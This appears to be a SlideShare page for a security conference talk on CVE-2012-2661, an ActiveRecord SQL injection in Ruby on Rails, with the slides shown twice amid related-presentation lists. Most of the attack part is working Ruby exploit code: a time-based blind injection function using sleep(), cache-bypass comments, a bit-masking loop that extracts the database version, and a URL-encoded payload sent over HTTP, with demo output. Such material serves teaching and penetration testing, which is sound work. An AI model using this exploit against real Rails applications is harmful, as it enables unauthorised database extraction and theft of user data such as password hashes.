SlideShare uma empresa Scribd logo
1 de 34
Baixar para ler offline
CVE-2012-2661: ActiveRecord
       SQL Injection

       Louis Nyffenegger @snyff
  <louis.Nyffenegger@securusglobal.com>
about()
• Security consultant working for Securus
  Global in Melbourne


• 2 sides projects:
   – PentesterLab: cool web training material
   – PNTSTR: easy first round for interview

• Mostly doing web stuff...
Ruby On Rails
• Nice framework to build web
  application
  – MVC
  – Automatic object mapping
  – A lot of smart automation

• Used by the cool kids... I guess

• Written in Ruby... “yes like Metasploit”
ActiveRecord
• Automatic Object to Database
  mapping:
  – Like Hibernate if you speak Java


• Used in most (all) Rails applications
Let's start playing...
• No public exploit at that time
  – Still no public exploit actually ;)


• Seems annoying to exploit:
  – Avoid using HTTP to understand the
    vulnerability
  – avoid using HTTP to avoid mistakes
  – just create a simple script
  – and start testing
# load the vulnerable library
require 'active_record'
# connection to the database
ActiveRecord::Base.establish_connection(
      :adapter   => "mysql2",
      :host      => "localhost",
      :username => "pentesterlab",
      :database => "pentesterlab")
# dummy class
class User < ActiveRecord::Base
end
# start a ruby interactive shell
require 'irb'
IRB.start()
> User.where(:id => 1).all
=> [#<User id: 1, login: "admin", password:
"8efe310f9ab3efeae8d410a8e0166eb2", email:
"admin@", info: "wrong email
address">]
> User.where(:id => {:id => 1}).all
ActiveRecord::StatementInvalid: Mysql2::Error:
Unknown column 'id.id' in 'where
clause': SELECT `users`.* FROM `users` WHERE
`id`.`id` = 1
> User.where(:id => {'users.id`' => 1} ).all
ActiveRecord::StatementInvalid: Mysql2::Error:
Unknown column 'users`.id' in 'where clause':
SELECT `users`.* FROM `users` WHERE
`users```.`id` = 1
> User.where(:id => {'users.id`' => 1} ).all
ActiveRecord::StatementInvalid: Mysql2::Error:
Unknown column 'users.id`' in 'where clause':
SELECT `users`.* FROM `users` WHERE
`users`.`id``` = 1


> User.where(:id => {'users.id' => {1 =>
1}} ).all
ActiveRecord::StatementInvalid: Mysql2::Error:
Access denied for user
'pentesterlab'@'localhost' to database
'users': SHOW TABLES IN users LIKE 'id'


           NOT THE SAME REQUEST ???
We need to go deeper...
2 requests???
• The first request is used to know if
  the table exists
   – It will then retrieve its schema

• But we don't have access:
  – We can use information_schema (default
    mysql database)
2 requests???
• But we are injecting in a show table
  request:
   – Show table accept where
     statement

• But ActiveRecord is smart and use
  caching:
  – You can't ask the same thing twice
  – Unless... you don't ask in the same way
How to avoid the caching?
• Add a random number of spaces and
  <tab> for each request
• Add a random number inside a SQL
  comment /* 1337 */ for each request
• Add the current time in milliseconds
  inside a SQL comment for each
  request
• Last solution is the best for sure
  – random != unique
Creating two states (1/3)
• To dump information, we need 2
  states:
  – True
  – False


• Unfortunately, we always get an
  error message in the following
  request:
  – But we can use time based exploitation
Creating two states (2/3)
• Most databases have a sleep
  statement (Mysql -> sleep)

• 2 states:
  – True if the request is quick
      true or sleep(1) -> sleep 1 will not be
      reached
  – False if the request is slow
      false or sleep(1) -> sleep 1 will be
      reached
Creating two states (3/3)
 • True:
> User.where(:id =>
{'information_schema where (select 1)
or sleep(1) ; -- .user' => {'id' => '1'}}).all


 • False:

> User.where(:id =>
{'information_schema where (select 0)
or sleep(1) ; -- .user' => {'id' => '1'}}).all
Let's code this
def test(sql)
 begin
   t = Time.now
   User.where(:id =>
    {'information_schema where ('+sql+') or
      sleep(1/10) /*'+Time.now.to_f.to_s+'*/;
  • -- .user' => {'id' => '1'}}).all
   False:
 rescue ActiveRecord::StatementInvalid
  return Time.now - t < 1
 end
end
Creating two states (3/3)
 • True:
puts "test('select 1') returns
      #{test('select 1')}"


 • False:
puts "test('select 0') returns
     #{test('select 0')}"
And now...
• 2 states, we are now working on a
  traditional blind SQL injection:
  – For each characters
    • For each bit of this character
       – Is the bit 0 or 1?
Isolate each character
• Mysql has a substring function
         Statement           Result
    substring('5.0.4',1,1)     5
    substring('5.0.4',2,1)     .
    substring('5.0.4',3,1)     0
    substring('5.0.4',1,3)    5.0

• Now, we just need to call ascii() to
  get the ascii value of each character
Isolate each bit
• For each character, we can use bit
  masking to isolate a bit

• Remember learning that at school...
  yes that's actually useful ;)
           &        0        1
          0         0        0
          1         0        1
Bit masking
              53 == '5'




              =1=2^0
Bit masking
              53 == '5'




               =2=2^1
Bit masking
              53 == '5'




               =4=2^2
Let's code this
• Use the test() function wrote
  previously

• Loop on all the characters

• Loop on all the bit for each character:
   – Each power of 2 from 0 to 6
inj = "select @@version"
str = ""
value = 1
i = 0
while value != 0   # for each character
  i+=1
  value = 0
  0.upto(6) do |bit| # for each bit
    sql="select ascii(substr((#{inj}),#{i},1))
    sql+= “&#{2**bit}" #bit masking
    if test(sql)     # if the true
      value+=2**bit # add the mask value
    end
  end
  str+= value.chr    # add the character
  puts str           # to the string
end
Demo...
$ ruby cve-2012-2661-local.rb
5
5.
5.5
5.5.
5.5.1
5.5.19
  • False:
5.5.19-
5.5.19-l
5.5.19-lo
5.5.19-log
5.5.19-log
Moving to HTTP: 4 steps
• Writing some HTTP related code

• Correctly encode the hash

• Correctly encode the injection

• Debug all the mistakes done during
  the first 3 steps
Sending HTTP request

require 'net/http'

uri = URI.parse("http://vulnerable/"+inj)
http = Net::HTTP.new(uri.host, uri.port)
begin
  response = http.request(
           Net::HTTP::Get.new(uri.request_uri))
  response = Net::HTTP.get_response(uri)
# rescue in case of error
# likely to happen with time based exploitation
rescue Errno::ECONNRESET, EOFError
end
Encoding the hash
 • Our initial hash looks like
:id => {'information_schema where (select 0)
or sleep(1/10) /*1338976181.408279*/ ; -- .user'
=> {'id' => '1'}}

 • We can URL-encoded it this way:
?id[information_schema%20where%20+(select+0)
+or+sleep(1)%20/*1338976181408279*/%3b%20--
%20.user][1]=1
Moving to HTTP
• Now just need to remember how to
  encode all the characters in the SQL
  injection:
   – ';' needs to be encoded as '%3b';
   – '&' needs to be encoded as '%26';
   – '=' needs to be encoded as '%3d';
   – ' ' needs to be encoded as '+' or
     '%20'.
Demo...
$ ruby cve-2012-2661-remote.rb
5
5.
5.5
5.5.
5.5.1
5.5.19
  • False:
5.5.19-
5.5.19-l
5.5.19-lo
5.5.19-log
5.5.19-log
Questions?


   Thanks
  Luke and
 Sebastien
for the help

Mais conteúdo relacionado

Mais procurados

Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levels
beched
 

Mais procurados (20)

Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levels
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
Adventures in Asymmetric Warfare
Adventures in Asymmetric WarfareAdventures in Asymmetric Warfare
Adventures in Asymmetric Warfare
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 
Veil-PowerView - NovaHackers
Veil-PowerView - NovaHackersVeil-PowerView - NovaHackers
Veil-PowerView - NovaHackers
 
Advanced JS Deobfuscation
Advanced JS DeobfuscationAdvanced JS Deobfuscation
Advanced JS Deobfuscation
 
Testing Ext JS and Sencha Touch
Testing Ext JS and Sencha TouchTesting Ext JS and Sencha Touch
Testing Ext JS and Sencha Touch
 
Pwnstaller
PwnstallerPwnstaller
Pwnstaller
 
Carlo Sciolla - Above and beyond type systems with clojure.spec - Codemotion ...
Carlo Sciolla - Above and beyond type systems with clojure.spec - Codemotion ...Carlo Sciolla - Above and beyond type systems with clojure.spec - Codemotion ...
Carlo Sciolla - Above and beyond type systems with clojure.spec - Codemotion ...
 
Catch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs Blue
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
I Hunt Sys Admins
I Hunt Sys AdminsI Hunt Sys Admins
I Hunt Sys Admins
 
The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!
 
Obfuscating The Empire
Obfuscating The EmpireObfuscating The Empire
Obfuscating The Empire
 
Hacking Wordpress Plugins
Hacking Wordpress PluginsHacking Wordpress Plugins
Hacking Wordpress Plugins
 
SANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMISANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMI
 
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
 
New techniques in sql obfuscation, from DEFCON 20
New techniques in sql obfuscation, from DEFCON 20New techniques in sql obfuscation, from DEFCON 20
New techniques in sql obfuscation, from DEFCON 20
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
 

Destaque

20120307 CakePHP Study in Tokyo
20120307 CakePHP Study in Tokyo20120307 CakePHP Study in Tokyo
20120307 CakePHP Study in Tokyo
ichikaway
 

Destaque (20)

Owasp tds
Owasp tdsOwasp tds
Owasp tds
 
ZeroNights - SmartTV
ZeroNights - SmartTV ZeroNights - SmartTV
ZeroNights - SmartTV
 
20120307 CakePHP Study in Tokyo
20120307 CakePHP Study in Tokyo20120307 CakePHP Study in Tokyo
20120307 CakePHP Study in Tokyo
 
Rails and security
Rails and securityRails and security
Rails and security
 
Exploiting WebApp Race Condition Vulnerability 101
Exploiting WebApp Race Condition Vulnerability 101Exploiting WebApp Race Condition Vulnerability 101
Exploiting WebApp Race Condition Vulnerability 101
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
Кеширование данных в БД
Кеширование данных в БДКеширование данных в БД
Кеширование данных в БД
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
Rails Security
Rails SecurityRails Security
Rails Security
 
CSCE "Rails Mass Assignment"
CSCE "Rails Mass Assignment"CSCE "Rails Mass Assignment"
CSCE "Rails Mass Assignment"
 
Practice of AppSec .NET
Practice of AppSec .NETPractice of AppSec .NET
Practice of AppSec .NET
 
Cloud Orchestration is Broken
Cloud Orchestration is BrokenCloud Orchestration is Broken
Cloud Orchestration is Broken
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
 
IE Memory Protector
IE Memory ProtectorIE Memory Protector
IE Memory Protector
 
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkVulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
 
Exploiting Blind Vulnerabilities
Exploiting Blind VulnerabilitiesExploiting Blind Vulnerabilities
Exploiting Blind Vulnerabilities
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
 
Ruby on Rails Penetration Testing
Ruby on Rails Penetration TestingRuby on Rails Penetration Testing
Ruby on Rails Penetration Testing
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
 
CodeFest 2014 - Pentesting client/server API
CodeFest 2014 - Pentesting client/server APICodeFest 2014 - Pentesting client/server API
CodeFest 2014 - Pentesting client/server API
 

Semelhante a Ruxmon cve 2012-2661

The art of reverse engineering flash exploits
The art of reverse engineering flash exploitsThe art of reverse engineering flash exploits
The art of reverse engineering flash exploits
Priyanka Aash
 
Java basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini indiaJava basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini india
Sanjeev Tripathi
 
Java basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini indiaJava basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini india
sanjeeviniindia1186
 
Php Code Audits (PHP UK 2010)
Php Code Audits (PHP UK 2010)Php Code Audits (PHP UK 2010)
Php Code Audits (PHP UK 2010)
Damien Seguy
 

Semelhante a Ruxmon cve 2012-2661 (20)

My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
The art of reverse engineering flash exploits
The art of reverse engineering flash exploitsThe art of reverse engineering flash exploits
The art of reverse engineering flash exploits
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
 
Run Node Run
Run Node RunRun Node Run
Run Node Run
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]Box
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
PHP security audits
PHP security auditsPHP security audits
PHP security audits
 
Jvm memory model
Jvm memory modelJvm memory model
Jvm memory model
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Java basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini indiaJava basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini india
 
Java basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini indiaJava basic tutorial by sanjeevini india
Java basic tutorial by sanjeevini india
 
The Departed: Exploit Next Generation® – The Philosophy
The Departed: Exploit Next Generation® – The PhilosophyThe Departed: Exploit Next Generation® – The Philosophy
The Departed: Exploit Next Generation® – The Philosophy
 
React Native Evening
React Native EveningReact Native Evening
React Native Evening
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Php Code Audits (PHP UK 2010)
Php Code Audits (PHP UK 2010)Php Code Audits (PHP UK 2010)
Php Code Audits (PHP UK 2010)
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 

Último

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
Enterprise Knowledge
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 

Último (20)

Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 

Ruxmon cve 2012-2661

  • 1. CVE-2012-2661: ActiveRecord SQL Injection Louis Nyffenegger @snyff <louis.Nyffenegger@securusglobal.com>
  • 2. about() • Security consultant working for Securus Global in Melbourne • 2 sides projects: – PentesterLab: cool web training material – PNTSTR: easy first round for interview • Mostly doing web stuff...
  • 3. Ruby On Rails • Nice framework to build web application – MVC – Automatic object mapping – A lot of smart automation • Used by the cool kids... I guess • Written in Ruby... “yes like Metasploit”
  • 4. ActiveRecord • Automatic Object to Database mapping: – Like Hibernate if you speak Java • Used in most (all) Rails applications
  • 5.
  • 6.
  • 7. Let's start playing... • No public exploit at that time – Still no public exploit actually ;) • Seems annoying to exploit: – Avoid using HTTP to understand the vulnerability – avoid using HTTP to avoid mistakes – just create a simple script – and start testing
  • 8. # load the vulnerable library require 'active_record' # connection to the database ActiveRecord::Base.establish_connection( :adapter => "mysql2", :host => "localhost", :username => "pentesterlab", :database => "pentesterlab") # dummy class class User < ActiveRecord::Base end # start a ruby interactive shell require 'irb' IRB.start()
  • 9. > User.where(:id => 1).all => [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">] > User.where(:id => {:id => 1}).all ActiveRecord::StatementInvalid: Mysql2::Error: Unknown column 'id.id' in 'where clause': SELECT `users`.* FROM `users` WHERE `id`.`id` = 1 > User.where(:id => {'users.id`' => 1} ).all ActiveRecord::StatementInvalid: Mysql2::Error: Unknown column 'users`.id' in 'where clause': SELECT `users`.* FROM `users` WHERE `users```.`id` = 1
  • 10. > User.where(:id => {'users.id`' => 1} ).all ActiveRecord::StatementInvalid: Mysql2::Error: Unknown column 'users.id`' in 'where clause': SELECT `users`.* FROM `users` WHERE `users`.`id``` = 1 > User.where(:id => {'users.id' => {1 => 1}} ).all ActiveRecord::StatementInvalid: Mysql2::Error: Access denied for user 'pentesterlab'@'localhost' to database 'users': SHOW TABLES IN users LIKE 'id' NOT THE SAME REQUEST ???
  • 11. We need to go deeper...
  • 12. 2 requests??? • The first request is used to know if the table exists – It will then retrieve its schema • But we don't have access: – We can use information_schema (default mysql database)
  • 13. 2 requests??? • But we are injecting in a show table request: – Show table accept where statement • But ActiveRecord is smart and use caching: – You can't ask the same thing twice – Unless... you don't ask in the same way
  • 14. How to avoid the caching? • Add a random number of spaces and <tab> for each request • Add a random number inside a SQL comment /* 1337 */ for each request • Add the current time in milliseconds inside a SQL comment for each request • Last solution is the best for sure – random != unique
  • 15. Creating two states (1/3) • To dump information, we need 2 states: – True – False • Unfortunately, we always get an error message in the following request: – But we can use time based exploitation
  • 16. Creating two states (2/3) • Most databases have a sleep statement (Mysql -> sleep) • 2 states: – True if the request is quick true or sleep(1) -> sleep 1 will not be reached – False if the request is slow false or sleep(1) -> sleep 1 will be reached
  • 17. Creating two states (3/3) • True: > User.where(:id => {'information_schema where (select 1) or sleep(1) ; -- .user' => {'id' => '1'}}).all • False: > User.where(:id => {'information_schema where (select 0) or sleep(1) ; -- .user' => {'id' => '1'}}).all
  • 18. Let's code this def test(sql) begin t = Time.now User.where(:id => {'information_schema where ('+sql+') or sleep(1/10) /*'+Time.now.to_f.to_s+'*/; • -- .user' => {'id' => '1'}}).all False: rescue ActiveRecord::StatementInvalid return Time.now - t < 1 end end
  • 19. Creating two states (3/3) • True: puts "test('select 1') returns #{test('select 1')}" • False: puts "test('select 0') returns #{test('select 0')}"
  • 20. And now... • 2 states, we are now working on a traditional blind SQL injection: – For each characters • For each bit of this character – Is the bit 0 or 1?
  • 21. Isolate each character • Mysql has a substring function Statement Result substring('5.0.4',1,1) 5 substring('5.0.4',2,1) . substring('5.0.4',3,1) 0 substring('5.0.4',1,3) 5.0 • Now, we just need to call ascii() to get the ascii value of each character
  • 22. Isolate each bit • For each character, we can use bit masking to isolate a bit • Remember learning that at school... yes that's actually useful ;) & 0 1 0 0 0 1 0 1
  • 23. Bit masking 53 == '5' =1=2^0
  • 24. Bit masking 53 == '5' =2=2^1
  • 25. Bit masking 53 == '5' =4=2^2
  • 26. Let's code this • Use the test() function wrote previously • Loop on all the characters • Loop on all the bit for each character: – Each power of 2 from 0 to 6
  • 27. inj = "select @@version" str = "" value = 1 i = 0 while value != 0 # for each character i+=1 value = 0 0.upto(6) do |bit| # for each bit sql="select ascii(substr((#{inj}),#{i},1)) sql+= “&#{2**bit}" #bit masking if test(sql) # if the true value+=2**bit # add the mask value end end str+= value.chr # add the character puts str # to the string end
  • 28. Demo... $ ruby cve-2012-2661-local.rb 5 5. 5.5 5.5. 5.5.1 5.5.19 • False: 5.5.19- 5.5.19-l 5.5.19-lo 5.5.19-log 5.5.19-log
  • 29. Moving to HTTP: 4 steps • Writing some HTTP related code • Correctly encode the hash • Correctly encode the injection • Debug all the mistakes done during the first 3 steps
  • 30. Sending HTTP request require 'net/http' uri = URI.parse("http://vulnerable/"+inj) http = Net::HTTP.new(uri.host, uri.port) begin response = http.request( Net::HTTP::Get.new(uri.request_uri)) response = Net::HTTP.get_response(uri) # rescue in case of error # likely to happen with time based exploitation rescue Errno::ECONNRESET, EOFError end
  • 31. Encoding the hash • Our initial hash looks like :id => {'information_schema where (select 0) or sleep(1/10) /*1338976181.408279*/ ; -- .user' => {'id' => '1'}} • We can URL-encoded it this way: ?id[information_schema%20where%20+(select+0) +or+sleep(1)%20/*1338976181408279*/%3b%20-- %20.user][1]=1
  • 32. Moving to HTTP • Now just need to remember how to encode all the characters in the SQL injection: – ';' needs to be encoded as '%3b'; – '&' needs to be encoded as '%26'; – '=' needs to be encoded as '%3d'; – ' ' needs to be encoded as '+' or '%20'.
  • 33. Demo... $ ruby cve-2012-2661-remote.rb 5 5. 5.5 5.5. 5.5.1 5.5.19 • False: 5.5.19- 5.5.19-l 5.5.19-lo 5.5.19-log 5.5.19-log
  • 34. Questions? Thanks Luke and Sebastien for the help